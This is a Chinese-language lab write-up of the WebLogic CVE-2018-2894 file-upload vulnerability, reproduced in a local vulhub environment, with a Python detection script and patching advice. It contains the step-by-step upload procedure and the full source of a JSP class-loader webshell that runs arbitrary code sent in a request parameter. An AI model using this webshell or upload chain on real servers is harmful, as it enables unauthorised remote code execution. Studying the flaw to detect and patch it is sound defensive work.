Weblogic 任意文件上传漏洞(CVE-2018-2894)

乐队1 2024-08-23 09:03:02 阅读 72

1 漏洞描述

CVE-2018-2894漏洞存在于Oracle WebLogic Server的Web服务测试页面(Web Service Test Page)中。这个页面允许用户测试Web服务的功能,但在某些版本中,它包含了一个未经授权的文件上传功能。攻击者可以利用这个漏洞,上传恶意的JSP或其他可执行文件,并在服务器上执行这些文件,从而获得服务器的完全控制权。

受影响的WebLogic Server版本包括10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。漏洞影响的页面路径为<code>/ws_utc/begin.do和/ws_utc/config.do

2 漏洞原理

攻击者首先通过访问/ws_utc/config.do页面,更改工作目录,将存储JKS Keystores的文件目录替换为有效的WebLogic Web路径。然后,攻击者可以上传恶意的JSP脚本文件到该路径。一旦文件上传成功,攻击者就可以通过访问最终的JSP文件路径地址来执行代码。

3 vulhub靶场漏洞

进入漏洞文件

cd vulhub/weblogic

启动漏洞环境

docker compose up -d

查看端口

docker-compose ps

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现

扫描这个7001weblogic漏洞端口下有什么目录,发现存在/console/、/bea_wls_internal/目录

执行<code>docker compose logs | grep password可查看管理员密码,管理员用户名为weblogiccode>。

得到账户为weblogic 密码为XwufFm4T

这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置,扫描目录的时候没有扫出来,但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的,/ws_utc/config.do(未授权访问)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,所以我们想要利用这个任意jsp文件上传漏洞,需要手动在刚才的登录进去的页面里面把一个web服务开启,然后才可以利用。

第一步 点击base_domain,后点击这个高级

第二步 把这个web服务勾上,然后再点击保存

第三步 修改ws_utc/config.do下的当前的工作目录

/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir

改为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

第四步 利用中国蚁剑生成jsp木马文件

网上找的jsp木马文件,但是蚁剑生成shell不知道什么原因链接不到

<%!

  class U extends ClassLoader {

      U(ClassLoader c) {

          super(c);

      }

      public Class g(byte[] b) {

          return super.defineClass(b, 0, b.length);

      }

  }

  public byte[] base64Decode(String str) throws Exception {

      try {

          Class clazz = Class.forName("sun.misc.BASE64Decoder");

          return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

      } catch (Exception e) {

          Class clazz = Class.forName("java.util.Base64");

          Object decoder = clazz.getMethod("getDecoder").invoke(null);

          return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

      }

  }

%>

<%

  String cls = request.getParameter("fafa");

  if (cls != null) {

      new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

  }

%>

第五步 保存为shell.jsp文件

第六步 上传shell.jsp木马文件

第七步 利用bp抓包,然后找到这个上传文件的时间戳,如果有好多个,那么就取最后一个时间戳,然后这个jsp木马上传的位置目录如下,

http://192.168.135.132:7001/ws_utc/css/config/keystore/1715590670525_shell.jsp

第八步 用中国蚁剑链接

5 使用python脚本探测漏洞

下面是对给定代码添加注释的版本:

python

import requests # 导入requests库,用于发送HTTP请求  

 

# 定义两个目标URL,这两个URL可能是存在安全漏洞的Web服务的API接口  

url1 = 'http://192.168.135.132:7001/ws_utc/config.do'  

url2 = 'http://192.168.135.132:7001/ws_utc/begin.do'  

 

def poc():  

  # 定义HTTP请求的头部信息  

  headers = {  

      'Content-Type':'text/html; charset=UTF-8', # 设置内容类型为HTML,并指定字符集为UTF-8(尽管是GET请求,但此头部信息可能不是必需的)  

      'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0' # 伪造的User-Agent,模拟常见的浏览器行为  

  }  

 

  # 发送GET请求到url1  

  res1 = requests.get(url1,headers=headers)  

  # 发送GET请求到url2  

  res2 = requests.get(url2,headers=headers)  

 

  # 检查两个请求的响应状态码是否都是200(表示请求成功)  

  if res1.status_code == 200 and res2.status_code == 200:  

      # 如果都是200,则打印出存在某个CVE(可能是CVE-2018-2894,但注释中未明确指定)的消息  

      print("存在CVE-2018-2894(或其他未指定的安全漏洞)")  

  else:  

      # 如果不是,则打印出不存在此漏洞的消息  

      print("不存在此漏洞")  

 

# 当这个脚本作为主程序运行时,执行poc函数  

if __name__ == "__main__":  

  poc()

结果

6 修复建议

为了修复这个漏洞,你可以采取以下措施:

升级到Oracle WebLogic Server的最新版本。新版本已经修复了这个漏洞。

如果无法立即升级,你可以通过配置WebLogic Server来限制对<code>/ws_utc/begin.do/ws_utc/config.do页面的访问。你可以要求用户进行身份验证才能访问这些页面,或者完全禁用这些页面。

使用IPS(入侵防御系统)等安全设备来监控和阻止针对这个漏洞的攻击。这些设备可以检测并阻止恶意文件上传和远程代码执行的行为。

定期审查你的WebLogic Server的安全配置和补丁更新情况,确保你的系统始终保持最新的安全状态。



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。